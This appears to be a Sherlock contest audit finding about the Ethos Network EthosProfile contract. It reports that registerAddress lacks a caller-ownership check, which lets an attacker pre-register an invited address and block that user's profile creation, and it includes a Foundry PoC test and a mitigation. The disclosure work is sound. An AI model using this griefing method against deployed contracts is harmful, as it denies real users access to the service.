Skip to content

Latest commit

 

History

History
125 lines (92 loc) · 4.52 KB

File metadata and controls

125 lines (92 loc) · 4.52 KB

Soaring Orchid Kangaroo

High

Prevent other users from creating profiles by preemptively pre-empting the addresses of users invited by registerAddress

Summary

It appears that the off-chain functionality to retrieve the signature currently used for registerAddress is not implemented yet. However, �I have reported this as a vulnerability because an important verification process is missing in the smart contract.

  function registerAddress(
    address addressStr,
    uint256 profileId,
    uint256 randValue,
    bytes calldata signature

https://github.com/sherlock-audit/2024-10-ethos-network/blob/main/ethos/packages/contracts/contracts/EthosProfile.sol

Once an address is registered with registerAddress, it cannot be removed, and there may be a problem because there is no signature verification process within the contract to verify that the caller is the owner of addressStr.

The address registered with registerAddress is registered to profileIdByAddress, and it becomes impossible to create a profile with that address. Because in _createProfile, the address registered to profileIdByAddress is reverted because it already exists.

  function profileStatusByAddress(
    address addressStr
  ) public view returns (bool verified, bool archived, bool mock, uint256 profileId) {
    profileId = profileIdByAddress[addressStr];
  ...
  function _createProfile(address user) internal returns (uint256 profileId) {
    (bool verified, , bool mock, uint256 existingProfileId) = profileStatusByAddress(user);
    if (verified) {
      revert ProfileExists(existingProfileId);

https://github.com/sherlock-audit/2024-10-ethos-network/blob/main/ethos/packages/contracts/contracts/EthosProfile.sol#L184

If you can obtain the expectedSigner signature from someone else's address off-chain, you can prevent that user from creating a profile by randomly registering invited users.

Root Cause

Missing the step to verify owner of addressStr in registerAddress

Internal pre-conditions

External pre-conditions

No response

Attack Path

  1. Invite a specific address with inviteAddress from the admin account.
  2. Register the account you invited with registerAddress from another account.
  3. Create a profile with createProfile using the invited account.
  4. Make sure it is reverted with ProfileExists.

Impact

An attacker can prevent others from creating profiles by preempting the invitee's address as the registerAddress.

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.26;

import {Test, console} from "forge-std/Test.sol";
import {EthosProfile} from "../src/EthosProfile.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {SignatureVerifier} from "../src/utils/SignatureVerifier.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";



contract EthosProfileTest is Test {
    EthosProfile public profile;
    address expectedSigner;
    uint256 expectedPk;

    function setUp() public {
        SignatureVerifier signatureVerifier = new SignatureVerifier();

        (expectedSigner, expectedPk) = makeAddrAndKey("expectedSigner");

        bytes memory initData = abi.encodeWithSelector(
            EthosProfile.initialize.selector,
            address(this),
            address(this), 
            expectedSigner,
            address(signatureVerifier),
            address(this)
        );
        ERC1967Proxy proxy = new ERC1967Proxy(
            address(new EthosProfile()),
            initData
        );

        profile = EthosProfile(address(proxy));
        profile.setMaxInvites(20);
    }

    function test_Invites() public {
        profile.inviteAddress(address(100));
        profile.inviteAddress(address(200));

        vm.startPrank(address(100));
        bytes32 digest = keccak256(abi.encodePacked(address(200), uint256(1), uint256(0)));
        bytes32 digest2 = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", digest));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(expectedPk, digest2);
        bytes memory signature = abi.encodePacked(r, s, v);

        profile.createProfile(1);
        // register address(200)
        profile.registerAddress(address(200), uint256(1), uint256(0), signature);
        vm.stopPrank();

        vm.startPrank(address(200));
        // revert with `ProfileExists`
        profile.createProfile(1);
        vm.stopPrank();
    }
}

Mitigation

It is need to input the signature value for addressStr and verify it within the smart contract.